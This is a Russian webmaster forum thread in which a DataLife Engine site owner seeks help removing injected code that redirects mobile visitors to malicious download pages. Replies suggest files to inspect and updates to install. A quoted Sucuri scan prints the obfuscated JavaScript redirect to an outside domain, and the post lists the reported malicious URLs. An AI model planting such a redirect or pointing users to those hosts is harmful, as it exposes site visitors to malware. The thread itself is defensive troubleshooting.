Вредоносный код на сайте

Вредоносный код на сайте, Хорошо было бы устранить :)

Сообщений: 283 Регистрация: Июл 2010

19 Апреля 2013 21:53

Всем доброго времени суток! В общем, такая вот проблема. Есть сайт, с января месяца постоянно попадает в категорию подозрительных сайтов, и в поиске Яндекса помечается вот таким вот текстом: "Сайт может угрожать безопасности вашего компьютера или мобильного устройства". Каждый раз, по результатам выборочной проверки, вредоносный код находится на одной и той же странице (самой посещаемой, но не главной).
Поговорил с платоном, он ответил:

Цитата

При посещении сайта с мобильных устройств, наши алгоритмы обнаружили код, автоматически перенаправляющий посетителей на следующие вредоносные ресурсы:
http://up-daters.ru/m.php?id=14316#_screen1,
http://ios.google.com.details-download.r632bgwsmo478vv29tlnjvy2tzdgfyz2fmfkjuuz3rhdmtixe.qooq1e.net/update.html

Я давным давно убрал подобные партнерки. И знать не могу, откуда взялись редиректы на эти ссылки. Скачал файлы сайта на компьютер, проверил их поиском (искал по ссылкам) ничего не нашел. Кто сталкивался с такой проблемой? Подскажите, где искать вредоносный код? Ибо я сталкиваюсь с такой проблемой первый раз. Буду благодарен!

Изменено: Vorobey - 19 Апреля 2013 22:01

Фан-cайт группы - «Ляпис Трубецкой»

motlik

Сообщений: 96 Регистрация: Авг 2010

19 Апреля 2013 22:05

У вас сайт на DLE?

Vorobey

Сообщений: 283 Регистрация: Июл 2010

19 Апреля 2013 22:06

motlik, да.

motlik

Сообщений: 96 Регистрация: Авг 2010

19 Апреля 2013 22:09

Тогда ищите вредоносный код здесь:
/index.php
/engine/data/dbconfig.php
/engine/data/config.php
/engine/init.php
/engine/engine.php
/language/Russian/website.lng

motlik

Сообщений: 96 Регистрация: Авг 2010

19 Апреля 2013 22:09

Какая версия движка у вас?

Vorobey

Сообщений: 283 Регистрация: Июл 2010

19 Апреля 2013 22:10

motlik, спасибо. Сейчас буду искать. Версия 9.4.

Андрей Романов

Сообщений: 249 Регистрация: Авг 2012

19 Апреля 2013 22:18

Была у меня такая зараза, только сайт на вордпресс. Когда заходили с телефона - редирект шел на сайт, предлогающий скачать новую версию браузера. Редирект шел через .htaccessПроблему решил так: закачал на комп полностью все файлы ( у меня было 3 сайта) - проверил антивирусом (Avira). Он нашел заразу и удалил. Поменял .htaccess на нужный с выставлением нужных прав на файл. Просто редактирование .htaccess ничего не давало - через пару минут он заменялся.

Алексей SP

Сообщений: 1464 Регистрация: Сен 2012

19 Апреля 2013 22:26

Цитата
Vorobey пишет: Ибо я сталкиваюсь с такой проблемой первый раз. Буду благодарен!

Вот только что до вас лечили сайт в соседней теме. Неужели сложно пройтись по темам, перед созданием своей.

Открой свой магазин за 5 минут, их товары, их обслуживание, с тебя только клиенты >>> РЕГИСТРАЦИЯ <<<
Скрин выплат по запросу.
Рефералам помощь.

prokipchuk

Сообщений: 708 Регистрация: Авг 2012

19 Апреля 2013 22:42

Тоже такое было, если нужно исправить и выличить пиши в ЛС

motlik

Сообщений: 96 Регистрация: Авг 2010

#10

19 Апреля 2013 23:13

Думаю вам следует обновить до 9.8 (и не придется искать вредоносный код). А также удалить все аватары пользователей сайта. Шел заливался через gif-аватар скорее всего. Погуглите "массовый взлом сайтов на dle tehApocalypse".

eep

Сообщений: 37 Регистрация: Апр 2013

#11

19 Апреля 2013 23:15

Цитата

motlik пишет:
Думаю вам следует обновить до 9.8 (и не придется искать вредоносный код). А также удалить все аватары пользователей сайта. Шел заливался через gif-аватар скорее всего. Погуглите "массовый взлом сайтов на dle tehApocalypse".

чего ? каким образом ? чисто физически это не возможно

Vorobey

Сообщений: 283 Регистрация: Июл 2010

#12

20 Апреля 2013 00:10

Ребята, всем спасибо за ответы. Завтра уже, все проверю. И отпишусь.

Денис Усков

Сообщений: 184 Регистрация: Янв 2013

#13

21 Апреля 2013 16:55

Цитата

Vorobey пишет:
Всем доброго времени суток! В общем, такая вот проблема. Есть сайт, с января месяца постоянно попадает в категорию подозрительных сайтов, и в поиске Яндекса помечается вот таким вот текстом: "Сайт может угрожать безопасности вашего компьютера или мобильного устройства". Каждый раз, по результатам выборочной проверки, вредоносный код находится на одной и той же странице (самой посещаемой, но не главной).
Поговорил с платоном, он ответил:

Цитата

При посещении сайта с мобильных устройств, наши алгоритмы обнаружили код, автоматически перенаправляющий посетителей на следующие вредоносные ресурсы:
http://up-daters.ru/m.php?id=14316#_screen1 (http://\"http://up-daters.ru/m.php?id=14316#_screen1\"),
http://ios.google.com.details-download.r632bgwsmo478vv29tlnjvy2tzdgfyz2fmfkjuuz3rhdmtixe.qooq1e.net/update.html (http://\"http://ios.google.com.details-download.r632bgwsmo478vv29tlnjvy2tzdgfyz2fmfkjuuz3rhdmtixe.qooq1e.net/update.html\")

Была такая-же бяка написал на хост всё исправили и извенились! Ответ был извините была ddos атака на хостинг, Я им в ответ что-же вы ляди исправляли целую неделю пока я не заметил? Мы не можем уследить за каждым ресурсом, если бы Вы сообщили нам раньше, мы отреагировали бы сразу!

Vorobey

Сообщений: 283 Регистрация: Июл 2010

#14

21 Апреля 2013 21:49

Всем добрый вечер. Решил проверить сайт, как вы писали. В config, dbconfig и .htaccess ничего не нашел. Просканировал ещё раз через Касперского - тоже молчит. Искал по ссылкам через тотал командер - не нашел ничего. В тех файлах, что писал motlik тоже искал, но не нашел. Возможно, пропустил. Подскажите, точнее, что именно нужно искать? И где ещё может сидеть эта зараза? На хостинг пока что не писал. Эту тему - читал, ничего полезного не нашел. Не хочу пока что обновлять движок, так как куча модулей установлено, и я уже и не помню, где и что менял. Искал по тому коду, который ТС из соседней темы нашел, тоже ничег оне нашел. Есть ещё предложения?)

Изменено: Vorobey - 21 Апреля 2013 21:52

Vorobey

Сообщений: 283 Регистрация: Июл 2010

#15

21 Апреля 2013 22:48

Просканировал сайт через http://sucuri.net/. Написано:

Код

Anomaly behavior detected (possible malware). 
Details: http://sucuri.net/malware/malware-entry-mwanomalysp8
<script>window.location=("ht"+"tp:"+"//dledle.net/user/id?11&seo"+"ref="+encodeURIComponent(document.referrer)+ "&para"+"meter="+"word&se=&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL));</script><!DOCTYPEhtml PUBLIC "-//W3C//DTD XHTML 1.0 Strict//RU" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

Все это, в http://site.ru/?do=register. Мне это мало о чем сказало, я проверил файл /modules/register.php - ничего не нашел. Искал так же по всему сайту ссылку dledle.net - тоже не нашел.

Похожие темы:

09.03.2026 01:25	Хлебные крошки на сайте: сказка из Простоквашино про навигацию в интернете
01.12.2023 23:56	Совсем нет посетителей на сайте
23.09.2023 11:44	Правильно ли сделано на сайте?
22.07.2022 12:19	Как называется сервис по проверке оптимизации на сайте?
06.05.2022 16:39	Нашел на своем сайте ссылки на порносайты

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
18:43 ПС Baidu захватит мир! надевайте тазики 18:30 Биржи ссылок в 2026 - реально ли новичку с одним сайтом поднять копейку? 18:22 adsense в 2026: кто реально выводит копейку через киргизию? 17:19 Бесплатное расширение для Chrome — проверка ссылок прямо на странице 17:17 Раскрутка форума 17:13 Бесплатное получение бэклинков 15:27 С чего сейчас проще начать?	19:29 Proxy SOCKS5/HTTP(S) : Резидентские-$1.5/GB \| Мобильные-$2/GB \| Datacenter-$1/GB \| PREMIUM-$4 /GB 15:05 Mixmasters - Exchange without AML and KYC 13:11 SpeedyIndex - ускорение индексирования ссылок в Google. 100 ссылок в подарок. 11:11 Продвижение YouTube видео в топ поиска \| Любой тип контента \| Гарантия результата 11:11 Trustpilot Reviews \| Подниму рейтинг вашей компании 11:11 №1 Рассылка / Инвайтинг [TELEGRAM] \| Приватный метод 11:10 Установка\|Настройка\|Доработка\|Наполнение сайтов\|Дизайн\|3D\|Видеомонтаж	18:49 Чак Норрис ушел - 19 марта 2026, 86 лет, семья подтвердила 17:05 Огородники 13:41 8 марта: желаю аптайма 99.9% и e-e-a-t без локов 13:02 С юмором по жизни! 05:10 Точные прогнозы на футбол 16:47 Какой фильм вы любите посмотреть перед сном? 15:46 молодильные яблоки и живая вода